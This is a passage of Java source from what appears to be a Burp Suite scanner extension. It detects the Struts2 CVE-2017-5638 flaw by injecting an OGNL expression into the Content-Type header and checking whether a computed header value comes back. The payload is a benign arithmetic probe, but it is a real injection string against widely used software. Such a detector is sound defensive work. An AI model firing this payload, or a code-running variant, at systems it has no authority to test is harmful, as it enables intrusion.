(IHttpRequestResponse basePair)
| 118 | } |
| 119 | |
| 120 | private List<IScanIssue> doStrutsScan(IHttpRequestResponse basePair) { |
| 121 | Random random = new Random(); |
| 122 | int x = random.nextInt(9000) + 1000; |
| 123 | int y = random.nextInt(9000) + 1000; |
| 124 | IHttpRequestResponse attack = fetchModifiedRequest(basePair, "Content-Type", "${#context[\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"].addHeader(\"X-Ack\"," + x + "*" + y + ")}.multipart/form-data"); |
| 125 | |
| 126 | String responseHeaders = String.join("\n", Utilities.helpers.analyzeResponse(attack.getResponse()).getHeaders()); |
| 127 | if (responseHeaders.contains(String.valueOf(x * y))) { |
| 128 | return Collections.singletonList(new CustomScanIssue( |
| 129 | basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(), |
| 130 | new IHttpRequestResponse[]{attack}, |
| 131 | "Struts2 RCE", |
| 132 | "The application appears to be vulnerable to CVE-2017-5638, enabling arbitrary code execution.", |
| 133 | "Firm", CustomScanIssue.severity.High |
| 134 | )); |
| 135 | } |
| 136 | |
| 137 | return Collections.emptyList(); |
| 138 | } |
| 139 | |
| 140 | private IHttpRequestResponse fetchModifiedRequest(IHttpRequestResponse basePair, String headerName, String headerValue) { |
| 141 | IRequestInfo requestInfo = Utilities.helpers.analyzeRequest(basePair.getRequest()); |
nothing calls this directly
no test coverage detected